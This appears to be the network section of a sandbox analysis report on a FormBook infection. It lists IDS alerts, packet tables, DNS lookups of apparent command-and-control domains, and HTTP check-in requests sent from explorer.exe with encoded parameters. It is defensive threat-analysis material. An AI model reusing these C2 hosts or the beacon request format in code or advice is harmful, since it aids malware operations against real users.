05/12/21-12:25:36.062502	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49731	80	192.168.2.3	34.95.69.141
05/12/21-12:26:02.702057	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49740	80	192.168.2.3	156.252.96.189
05/12/21-12:26:02.702057	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49740	80	192.168.2.3	156.252.96.189
05/12/21-12:26:02.702057	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49740	80	192.168.2.3	156.252.96.189
05/12/21-12:26:30.319867	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.3	184.168.131.241
05/12/21-12:26:30.319867	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.3	184.168.131.241
05/12/21-12:26:30.319867	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49746	80	192.168.2.3	184.168.131.241

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 12:25:24.196033955 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.380028963 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.380197048 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.565099001 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.565185070 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.747908115 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.747936010 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.747955084 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.747977018 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.747996092 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.748023033 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.748044968 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.748064041 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.748070955 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.748081923 CEST	80	49728	52.128.23.153	192.168.2.3
May 12, 2021 12:25:24.748102903 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.748121023 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:24.748218060 CEST	49728	80	192.168.2.3	52.128.23.153
May 12, 2021 12:25:30.060600996 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:30.334333897 CEST	80	49730	202.210.8.86	192.168.2.3
May 12, 2021 12:25:30.334551096 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:30.334672928 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:30.608279943 CEST	80	49730	202.210.8.86	192.168.2.3
May 12, 2021 12:25:30.836106062 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:31.151423931 CEST	80	49730	202.210.8.86	192.168.2.3
May 12, 2021 12:25:32.124258041 CEST	80	49730	202.210.8.86	192.168.2.3
May 12, 2021 12:25:32.124294996 CEST	80	49730	202.210.8.86	192.168.2.3
May 12, 2021 12:25:32.124427080 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:32.126872063 CEST	49730	80	192.168.2.3	202.210.8.86
May 12, 2021 12:25:36.021060944 CEST	49731	80	192.168.2.3	34.95.69.141
May 12, 2021 12:25:36.062160015 CEST	80	49731	34.95.69.141	192.168.2.3
May 12, 2021 12:25:36.062482119 CEST	49731	80	192.168.2.3	34.95.69.141
May 12, 2021 12:25:36.062501907 CEST	49731	80	192.168.2.3	34.95.69.141
May 12, 2021 12:25:36.103591919 CEST	80	49731	34.95.69.141	192.168.2.3
May 12, 2021 12:25:36.103701115 CEST	80	49731	34.95.69.141	192.168.2.3
May 12, 2021 12:25:36.103723049 CEST	80	49731	34.95.69.141	192.168.2.3
May 12, 2021 12:25:36.103907108 CEST	49731	80	192.168.2.3	34.95.69.141
May 12, 2021 12:25:36.104039907 CEST	49731	80	192.168.2.3	34.95.69.141
May 12, 2021 12:25:36.144942999 CEST	80	49731	34.95.69.141	192.168.2.3
May 12, 2021 12:25:46.233526945 CEST	49738	80	192.168.2.3	81.169.145.162
May 12, 2021 12:25:46.276640892 CEST	80	49738	81.169.145.162	192.168.2.3
May 12, 2021 12:25:46.276766062 CEST	49738	80	192.168.2.3	81.169.145.162
May 12, 2021 12:25:46.276973963 CEST	49738	80	192.168.2.3	81.169.145.162
May 12, 2021 12:25:46.319863081 CEST	80	49738	81.169.145.162	192.168.2.3
May 12, 2021 12:25:46.322741985 CEST	80	49738	81.169.145.162	192.168.2.3
May 12, 2021 12:25:46.322768927 CEST	80	49738	81.169.145.162	192.168.2.3
May 12, 2021 12:25:46.322952032 CEST	49738	80	192.168.2.3	81.169.145.162
May 12, 2021 12:25:46.323085070 CEST	49738	80	192.168.2.3	81.169.145.162
May 12, 2021 12:25:46.366920948 CEST	80	49738	81.169.145.162	192.168.2.3
May 12, 2021 12:25:51.537710905 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:25:51.724255085 CEST	80	49739	192.232.222.43	192.168.2.3
May 12, 2021 12:25:51.724494934 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:25:51.724770069 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:25:51.909885883 CEST	80	49739	192.232.222.43	192.168.2.3
May 12, 2021 12:25:52.212724924 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:25:52.438540936 CEST	80	49739	192.232.222.43	192.168.2.3
May 12, 2021 12:25:53.418782949 CEST	80	49739	192.232.222.43	192.168.2.3
May 12, 2021 12:25:53.418852091 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:25:53.419245958 CEST	80	49739	192.232.222.43	192.168.2.3
May 12, 2021 12:25:53.419298887 CEST	49739	80	192.168.2.3	192.232.222.43
May 12, 2021 12:26:02.400471926 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:02.701750040 CEST	80	49740	156.252.96.189	192.168.2.3
May 12, 2021 12:26:02.701894045 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:02.702056885 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:03.004113913 CEST	80	49740	156.252.96.189	192.168.2.3
May 12, 2021 12:26:03.197813988 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:03.283816099 CEST	80	49740	156.252.96.189	192.168.2.3
May 12, 2021 12:26:03.283859015 CEST	80	49740	156.252.96.189	192.168.2.3
May 12, 2021 12:26:03.284008026 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:03.285224915 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:03.500299931 CEST	80	49740	156.252.96.189	192.168.2.3
May 12, 2021 12:26:03.500483036 CEST	49740	80	192.168.2.3	156.252.96.189
May 12, 2021 12:26:08.280189037 CEST	49741	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:08.492702961 CEST	80	49741	184.168.131.241	192.168.2.3
May 12, 2021 12:26:08.492861986 CEST	49741	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:08.493067980 CEST	49741	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:08.696099997 CEST	80	49741	184.168.131.241	192.168.2.3
May 12, 2021 12:26:08.756416082 CEST	80	49741	184.168.131.241	192.168.2.3
May 12, 2021 12:26:08.756465912 CEST	80	49741	184.168.131.241	192.168.2.3
May 12, 2021 12:26:08.756701946 CEST	49741	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:08.756794930 CEST	49741	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:08.959125996 CEST	80	49741	184.168.131.241	192.168.2.3
May 12, 2021 12:26:13.933931112 CEST	49744	80	192.168.2.3	64.98.145.30
May 12, 2021 12:26:14.072640896 CEST	80	49744	64.98.145.30	192.168.2.3
May 12, 2021 12:26:14.072834015 CEST	49744	80	192.168.2.3	64.98.145.30
May 12, 2021 12:26:14.073214054 CEST	49744	80	192.168.2.3	64.98.145.30
May 12, 2021 12:26:14.211807966 CEST	80	49744	64.98.145.30	192.168.2.3
May 12, 2021 12:26:14.218874931 CEST	80	49744	64.98.145.30	192.168.2.3
May 12, 2021 12:26:14.218928099 CEST	80	49744	64.98.145.30	192.168.2.3
May 12, 2021 12:26:14.219176054 CEST	49744	80	192.168.2.3	64.98.145.30
May 12, 2021 12:26:14.219377995 CEST	49744	80	192.168.2.3	64.98.145.30
May 12, 2021 12:26:30.125844955 CEST	49746	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:30.319618940 CEST	80	49746	184.168.131.241	192.168.2.3
May 12, 2021 12:26:30.319713116 CEST	49746	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:30.319866896 CEST	49746	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:30.512630939 CEST	80	49746	184.168.131.241	192.168.2.3
May 12, 2021 12:26:30.541549921 CEST	80	49746	184.168.131.241	192.168.2.3
May 12, 2021 12:26:30.541579962 CEST	80	49746	184.168.131.241	192.168.2.3
May 12, 2021 12:26:30.541796923 CEST	49746	80	192.168.2.3	184.168.131.241
May 12, 2021 12:26:30.541826963 CEST	49746	80	192.168.2.3	184.168.131.241

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 12:24:11.490417957 CEST	49199	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:11.539120913 CEST	53	49199	8.8.8.8	192.168.2.3
May 12, 2021 12:24:12.578938007 CEST	50620	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:12.631120920 CEST	53	50620	8.8.8.8	192.168.2.3
May 12, 2021 12:24:14.035444975 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:14.084173918 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 12:24:15.181551933 CEST	60152	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:15.231316090 CEST	53	60152	8.8.8.8	192.168.2.3
May 12, 2021 12:24:15.543701887 CEST	57544	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:15.605519056 CEST	53	57544	8.8.8.8	192.168.2.3
May 12, 2021 12:24:15.981714010 CEST	55984	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:16.033436060 CEST	53	55984	8.8.8.8	192.168.2.3
May 12, 2021 12:24:17.336888075 CEST	64185	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:17.385696888 CEST	53	64185	8.8.8.8	192.168.2.3
May 12, 2021 12:24:18.181982040 CEST	65110	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:18.230753899 CEST	53	65110	8.8.8.8	192.168.2.3
May 12, 2021 12:24:19.137824059 CEST	58361	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:19.189327002 CEST	53	58361	8.8.8.8	192.168.2.3
May 12, 2021 12:24:20.389323950 CEST	63492	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:20.438283920 CEST	53	63492	8.8.8.8	192.168.2.3
May 12, 2021 12:24:21.650604963 CEST	60831	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:21.702214956 CEST	53	60831	8.8.8.8	192.168.2.3
May 12, 2021 12:24:22.792871952 CEST	60100	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:22.842051983 CEST	53	60100	8.8.8.8	192.168.2.3
May 12, 2021 12:24:24.150654078 CEST	53195	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:24.202336073 CEST	53	53195	8.8.8.8	192.168.2.3
May 12, 2021 12:24:24.988667965 CEST	50141	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:25.037595987 CEST	53	50141	8.8.8.8	192.168.2.3
May 12, 2021 12:24:26.231024981 CEST	53023	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:26.281500101 CEST	53	53023	8.8.8.8	192.168.2.3
May 12, 2021 12:24:27.036566973 CEST	49563	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:27.085688114 CEST	53	49563	8.8.8.8	192.168.2.3
May 12, 2021 12:24:30.414036036 CEST	51352	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:30.462858915 CEST	53	51352	8.8.8.8	192.168.2.3
May 12, 2021 12:24:31.331482887 CEST	59349	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:31.382544994 CEST	53	59349	8.8.8.8	192.168.2.3
May 12, 2021 12:24:32.426213026 CEST	57084	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:32.475207090 CEST	53	57084	8.8.8.8	192.168.2.3
May 12, 2021 12:24:44.212776899 CEST	58823	53	192.168.2.3	8.8.8.8
May 12, 2021 12:24:44.275077105 CEST	53	58823	8.8.8.8	192.168.2.3
May 12, 2021 12:25:01.522687912 CEST	57568	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:01.571486950 CEST	53	57568	8.8.8.8	192.168.2.3
May 12, 2021 12:25:04.099765062 CEST	50540	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:04.171396017 CEST	53	50540	8.8.8.8	192.168.2.3
May 12, 2021 12:25:24.027081966 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:24.189014912 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 12:25:27.239752054 CEST	53034	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:27.298490047 CEST	53	53034	8.8.8.8	192.168.2.3
May 12, 2021 12:25:29.761121035 CEST	57762	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:30.059087992 CEST	53	57762	8.8.8.8	192.168.2.3
May 12, 2021 12:25:35.858010054 CEST	55435	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:36.019768000 CEST	53	55435	8.8.8.8	192.168.2.3
May 12, 2021 12:25:40.691852093 CEST	50713	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:40.749140978 CEST	53	50713	8.8.8.8	192.168.2.3
May 12, 2021 12:25:43.211719990 CEST	56132	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:43.281693935 CEST	53	56132	8.8.8.8	192.168.2.3
May 12, 2021 12:25:46.166529894 CEST	58987	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:46.232381105 CEST	53	58987	8.8.8.8	192.168.2.3
May 12, 2021 12:25:51.342669964 CEST	56579	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:51.535154104 CEST	53	56579	8.8.8.8	192.168.2.3
May 12, 2021 12:25:57.237812042 CEST	60633	53	192.168.2.3	8.8.8.8
May 12, 2021 12:25:57.300525904 CEST	53	60633	8.8.8.8	192.168.2.3
May 12, 2021 12:26:02.336038113 CEST	61292	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:02.398396015 CEST	53	61292	8.8.8.8	192.168.2.3
May 12, 2021 12:26:08.219162941 CEST	63619	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:08.278670073 CEST	53	63619	8.8.8.8	192.168.2.3
May 12, 2021 12:26:11.962909937 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:12.037271976 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 12:26:13.767909050 CEST	61946	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:13.805685997 CEST	64910	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:13.867902040 CEST	53	64910	8.8.8.8	192.168.2.3
May 12, 2021 12:26:13.931727886 CEST	53	61946	8.8.8.8	192.168.2.3
May 12, 2021 12:26:19.256853104 CEST	52123	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:19.358293056 CEST	53	52123	8.8.8.8	192.168.2.3
May 12, 2021 12:26:24.372886896 CEST	56130	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:24.451124907 CEST	53	56130	8.8.8.8	192.168.2.3
May 12, 2021 12:26:30.060688972 CEST	56338	53	192.168.2.3	8.8.8.8
May 12, 2021 12:26:30.125046015 CEST	53	56338	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 12:25:24.027081966 CEST	192.168.2.3	8.8.8.8	0xa172	Standard query (0)	www.skynetaccess.com	A (IP address)	IN (0x0001)
May 12, 2021 12:25:29.761121035 CEST	192.168.2.3	8.8.8.8	0x4a6e	Standard query (0)	www.thepocket-onlinelesson.xyz	A (IP address)	IN (0x0001)
May 12, 2021 12:25:35.858010054 CEST	192.168.2.3	8.8.8.8	0x66a3	Standard query (0)	www.shirleyeluiz.com	A (IP address)	IN (0x0001)
May 12, 2021 12:25:46.166529894 CEST	192.168.2.3	8.8.8.8	0x2fa3	Standard query (0)	www.drisu-goalkeeping.com	A (IP address)	IN (0x0001)
May 12, 2021 12:25:51.342669964 CEST	192.168.2.3	8.8.8.8	0x1f0b	Standard query (0)	www.rogegalmish.com	A (IP address)	IN (0x0001)
May 12, 2021 12:25:57.237812042 CEST	192.168.2.3	8.8.8.8	0x7055	Standard query (0)	www.webdomoupravitel.com	A (IP address)	IN (0x0001)
May 12, 2021 12:26:02.336038113 CEST	192.168.2.3	8.8.8.8	0x6182	Standard query (0)	www.best-cleaner.com	A (IP address)	IN (0x0001)
May 12, 2021 12:26:08.219162941 CEST	192.168.2.3	8.8.8.8	0xb6c6	Standard query (0)	www.4520oceanviewavenue.com	A (IP address)	IN (0x0001)
May 12, 2021 12:26:13.767909050 CEST	192.168.2.3	8.8.8.8	0x609b	Standard query (0)	www.omfgphil.com	A (IP address)	IN (0x0001)
May 12, 2021 12:26:19.256853104 CEST	192.168.2.3	8.8.8.8	0x3a0c	Standard query (0)	www.tracisolomon.xyz	A (IP address)	IN (0x0001)
May 12, 2021 12:26:24.372886896 CEST	192.168.2.3	8.8.8.8	0x2e78	Standard query (0)	www.home-inland.com	A (IP address)	IN (0x0001)
May 12, 2021 12:26:30.060688972 CEST	192.168.2.3	8.8.8.8	0xdff9	Standard query (0)	www.boostcoachingonline.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 12:25:24.189014912 CEST	8.8.8.8	192.168.2.3	0xa172	No error (0)	www.skynetaccess.com		52.128.23.153	A (IP address)	IN (0x0001)
May 12, 2021 12:25:30.059087992 CEST	8.8.8.8	192.168.2.3	0x4a6e	No error (0)	www.thepocket-onlinelesson.xyz		202.210.8.86	A (IP address)	IN (0x0001)
May 12, 2021 12:25:36.019768000 CEST	8.8.8.8	192.168.2.3	0x66a3	No error (0)	www.shirleyeluiz.com		34.95.69.141	A (IP address)	IN (0x0001)
May 12, 2021 12:25:46.232381105 CEST	8.8.8.8	192.168.2.3	0x2fa3	No error (0)	www.drisu-goalkeeping.com	drisu-goalkeeping.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 12:25:46.232381105 CEST	8.8.8.8	192.168.2.3	0x2fa3	No error (0)	drisu-goalkeeping.com		81.169.145.162	A (IP address)	IN (0x0001)
May 12, 2021 12:25:51.535154104 CEST	8.8.8.8	192.168.2.3	0x1f0b	No error (0)	www.rogegalmish.com	rogegalmish.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 12:25:51.535154104 CEST	8.8.8.8	192.168.2.3	0x1f0b	No error (0)	rogegalmish.com		192.232.222.43	A (IP address)	IN (0x0001)
May 12, 2021 12:25:57.300525904 CEST	8.8.8.8	192.168.2.3	0x7055	Name error (3)	www.webdomoupravitel.com	none	none	A (IP address)	IN (0x0001)
May 12, 2021 12:26:02.398396015 CEST	8.8.8.8	192.168.2.3	0x6182	No error (0)	www.best-cleaner.com		156.252.96.189	A (IP address)	IN (0x0001)
May 12, 2021 12:26:08.278670073 CEST	8.8.8.8	192.168.2.3	0xb6c6	No error (0)	www.4520oceanviewavenue.com	4520oceanviewavenue.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 12:26:08.278670073 CEST	8.8.8.8	192.168.2.3	0xb6c6	No error (0)	4520oceanviewavenue.com		184.168.131.241	A (IP address)	IN (0x0001)
May 12, 2021 12:26:13.931727886 CEST	8.8.8.8	192.168.2.3	0x609b	No error (0)	www.omfgphil.com		64.98.145.30	A (IP address)	IN (0x0001)
May 12, 2021 12:26:19.358293056 CEST	8.8.8.8	192.168.2.3	0x3a0c	Server failure (2)	www.tracisolomon.xyz	none	none	A (IP address)	IN (0x0001)
May 12, 2021 12:26:24.451124907 CEST	8.8.8.8	192.168.2.3	0x2e78	No error (0)	www.home-inland.com	home-inland.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 12:26:24.451124907 CEST	8.8.8.8	192.168.2.3	0x2e78	No error (0)	home-inland.com		81.88.52.88	A (IP address)	IN (0x0001)
May 12, 2021 12:26:30.125046015 CEST	8.8.8.8	192.168.2.3	0xdff9	No error (0)	www.boostcoachingonline.com	boostcoachingonline.com		CNAME (Canonical name)	IN (0x0001)
May 12, 2021 12:26:30.125046015 CEST	8.8.8.8	192.168.2.3	0xdff9	No error (0)	boostcoachingonline.com		184.168.131.241	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.skynetaccess.com

www.thepocket-onlinelesson.xyz

www.shirleyeluiz.com

www.drisu-goalkeeping.com

www.rogegalmish.com

www.best-cleaner.com

www.4520oceanviewavenue.com

www.omfgphil.com

www.boostcoachingonline.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49728	52.128.23.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:25:24.565185070 CEST	1282	OUT	GET /a8si/?NZb=u+x8HrW8TaP2OTySFAVUaGkyVI6Qrz7itxoztY99JgBPvqcvqvs4xGCSIVWMYkPxCa9b&2dND=GVTl- HTTP/1.1 Host: www.skynetaccess.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:25:24.747936010 CEST	1282	IN	HTTP/1.1 463 Server: nginx Date: Wed, 12 May 2021 10:25:24 GMT Content-Type: text/html Content-Length: 8915 Connection: close ETag: "5e52ceb0-22d3" X-DIS-Request-ID: e8467c834b8474c3c6b18d0d2ca7da5e Set-Cookie: dis-remote-addr=84.17.52.78 Set-Cookie: dis-timestamp=2021-05-12T03:25:24-07:00 Set-Cookie: dis-request-id=e8467c834b8474c3c6b18d0d2ca7da5e X-Frame-Options: sameorigin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49730	202.210.8.86	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:25:30.334672928 CEST	1298	OUT	GET /a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl- HTTP/1.1 Host: www.thepocket-onlinelesson.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:25:32.124258041 CEST	1299	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 12 May 2021 10:25:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://thepocket-onlinelesson.xyz/a8si/?NZb=AKlWb4FzuMtnty9OGtxovY3lKx8NV8ATEUFEzcIxGa/JytTKcc+qEWA3ceqFQyW9WUsw&2dND=GVTl-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49731	34.95.69.141	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:25:36.062501907 CEST	1300	OUT	GET /a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl- HTTP/1.1 Host: www.shirleyeluiz.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:25:36.103701115 CEST	1303	IN	HTTP/1.1 301 Moved Permanently Cache-Control: private Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Location: https://www.shirleyeluiz.com/a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl- Content-Length: 319 Date: Wed, 12 May 2021 10:25:36 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 73 68 69 72 6c 65 79 65 6c 75 69 7a 2e 63 6f 6d 2f 61 38 73 69 2f 3f 4e 5a 62 3d 70 4d 34 41 39 79 39 73 32 66 51 4f 54 36 4d 73 65 4c 5a 36 44 31 6e 4a 70 33 5a 6f 58 69 31 44 49 7a 38 48 52 45 4b 73 37 6c 57 4b 6f 32 72 43 66 6b 33 59 42 43 57 6b 31 4c 62 77 58 6a 6b 48 73 65 51 2f 26 61 6d 70 3b 32 64 4e 44 3d 47 56 54 6c 2d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://www.shirleyeluiz.com/a8si/?NZb=pM4A9y9s2fQOT6MseLZ6D1nJp3ZoXi1DIz8HREKs7lWKo2rCfk3YBCWk1LbwXjkHseQ/&2dND=GVTl-">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49738	81.169.145.162	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:25:46.276973963 CEST	5546	OUT	GET /a8si/?NZb=ilDJZobCAoASZPKEjr+h2GJPzQZtXgxPn5qCqJ2imUF6WWwra1RdIaAgDcyp8aYyL3aO&2dND=GVTl- HTTP/1.1 Host: www.drisu-goalkeeping.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:25:46.322741985 CEST	5547	IN	HTTP/1.1 404 Not Found Date: Wed, 12 May 2021 10:25:46 GMT Server: Apache/2.4.46 (Unix) Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49739	192.232.222.43	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 12, 2021 12:25:51.724770069 CEST	5548	OUT	GET /a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl- HTTP/1.1 Host: www.rogegalmish.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 12, 2021 12:25:53.418782949 CEST	5549	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 12 May 2021 10:25:53 GMT Server: nginx/1.19.10 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.rogegalmish.com/a8si/?NZb=+XN8NDZ1K2QCkRvOhUuLQIc57zcvFV8XafOJaWeGgjvpyrWV+MqtkcBEDSPdl300gZ3G&2dND=GVTl- X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
